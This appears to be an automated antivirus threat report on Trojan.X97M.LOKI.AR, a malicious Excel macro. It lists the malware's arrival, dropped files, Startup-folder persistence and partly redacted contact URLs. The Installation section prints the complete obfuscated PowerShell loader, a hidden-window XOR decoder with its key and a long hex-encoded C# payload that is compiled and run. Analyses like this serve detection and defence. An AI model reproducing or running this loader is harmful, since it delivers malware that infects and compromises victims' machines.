Trojan.X97M.LOKI.AR

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• powershell -WindowStyle Hidden function x6f8efb {param($gcbc4a3)$kd7236a='qff4c';$g2553='';for ($i=0; $i -lt $gcbc4a3.length;$i+=2){$s5c3d=[convert]::ToByte($gcbc4a3.Substring($i,2),16);$g2553+=[char]($s5c3d -bxor $kd7236a[($i/2)%$kd7236a.length]);}return $g2553;} $sf7db = '04150f5a0451351f4717140b5d41101808011430081512510e5f34135a17180b031a2a1f1203460c0135034615180503475804150f5a0451351f4717140b48700a1001085b10050f05475804150f5a0451351f4717140b487d2c4a13155d0d1646354d1005030b1a2d14125d3969011304580a124605580202154646054003500d050a3d22580f380b165b11054e445f06030803585043444a710d05141f640c180812094136031264111e052750070303154741583b464416130a0f5743021207400a1246034c17141408142a1f12364011511505560512554e7d0d05361246431757530c01424a1540111808011406130005014a4a3d22580f380b165b11054e445f06030803585043444a14261f12144d331e0f0840434c4644780c10022a5d010307144d41583b464416130a0f5743021207400a1246034c17141408142a1f1236401151050557004505511c1005140f5a04510252550042075f1d582a220a582a1c1609461759440d51111f030a0751534a46710d05141f640c1808120941270f144016100a36460c0503054041583b464416130a0f5743021207400a1246034c1714140814011e090a14004003055754104e2f5a172112141412455f520302124a337d0d053612464312075f5200474a46410a1f1246425b4955530d4f5109134043040f084043135754025549054f0f38350a0a7d0e010914404b532d03460d140a55064d150a0a164f51230840110836095d0d055b4466171d2b0942063c030b5b1108444a143014122a5510052314460c035b00550f02034f6943021207400a1246034c1714140814151e0f0214134453525057174e2f5a1721121414141355020055444a2f5a17211214140b430704064f1808121408145f05034a4a1613560f180546471710120f57431808121408460052005b594f1d7d0d0536124643195402030048465b14001205050000464e1e0205490300564b5357560401405353505715575304024107441d4a4a0f001c0b430251575a4c5b2f5a172112141a391414091d181609125b4309575455024a1b2f5a172112141411460507025e0205045200424e0e060746055f181b47005e5105134e440753410457015615555605514151560c544757500554415656075747444f1d5818004e4654120750095e380812641703483c51111e4f1d530c0509464c524307070f1e242f0840330514464456430307094b242f08403305144f0158040f0840430855045606155f5b045818004e15004003055754104e14030010504a44564303071853095256180c0412464d50130403505a584f1d530c0509464c524307070f1e331f1251382c460c505542045b4f5309555718530900001853095f5649583808126417034614035549045b790203150e550f5f270a580c122e21580c13070a1c50585d2b5511020e07584d3209164d4b1b025007015d564a4654475e041850585d160156450252524b1f0311142a1f1236401159145157024748325b2a1f1250004b584d564c534157041d4f0351500c015d554f0f1b405407555951310356201d0f035a175103055055125b08511451310356201d0f035a17594f5d4717030f0853430104525107465e5b710d070f145b0d1c0308404d360312720c1d0203463310120e1c261f100f460c1f0b035a175f3516510018070a720c1d0203464d301616580a1207125d0c1f22074002584d44683f0752540001425f441f1b47005e5105134e440105415557515640444f0f06120250574d3509115a0f1e0702720a1d034e4c55175e0352015944570d524357540057445f5351574857530152405157035346560701544502570653485604050140555701574853520457445052055713535104564502575652475657164a5d1604000615515e1d582114095706021535400203122f5a051e461f075a435202515e1f0311143303090551100235125511052f08520c591604000615515e1d58211409570602154867171014121c1a425f540007144f5d46060513145a43415d1b4416130a0f5743021207400a1246154011180801141b47005e5105134e15401118080114024553070054424f1d4717030f0853431757530c01425b44450517520516580212145d0d1646055700125205035e2212145d0d1648235913051f5d520c034e0f5a17510f5b0458185a070056105251074d3d03085317195d0f1f5e434f1d561a0503464700130005075e3209084206031248600c331f12514b10525355574655486716131512460a1f014e5d4f434f4a0555585d05570012520503484c4e055c02034f4e470013000507432f460005564904556f4b1849541d4354460005564904551a2f140801400b2c4f5d4911141213460d51050557004505510f1e0c'; $sf7db2 = x6f8efb($sf7db); Add-Type -TypeDefinition $sf7db2; [rf1e69f]::k7f448();
• "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%\kgjc5w5k.cmdline"
• %Application Data%\v424b39.exe
• %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES5CDF.tmp" "%User Temp%\CSC5CBF.tmp"
• "%Application Data%\iutmn\etgs.exe"
• %System%\lsass.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

• %Application Data%\iutmn
• %Application Data%\737FF7

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

• %User Startup%\iutmn.vbs

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Dropping Routine

This Trojan drops the following files:

• %Application Data%\iutmn\etgs.exe:ZoneIdentifier
• %User Temp%\kgjc5w5k.0.cs
• %System Root%\BVTBin\Tests\installpackage\csilogfile.log
• %User Temp%\kgjc5w5k.dll
• %User Temp%\kgjc5w5k.err
• %Application Data%\v424b39.exe
• %Application Data%\737FF7\73A3E3.exe
• %User Temp%\27807593.od
• %User Temp%\kgjc5w5k.pdb
• %User Temp%\kgjc5w5k.cmdline
• %Application Data%\iutmn\etgs.exe
• %Application Data%\737FF7\73A3E3.lck
• {malware file path and name}
• %User Temp%\kgjc5w5k.out

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://{BLOCKED}c.com/pd/2050-11.jpg
• http://{BLOCKED}t.com/boot1/pin.php

This report is generated via an automated analysis system.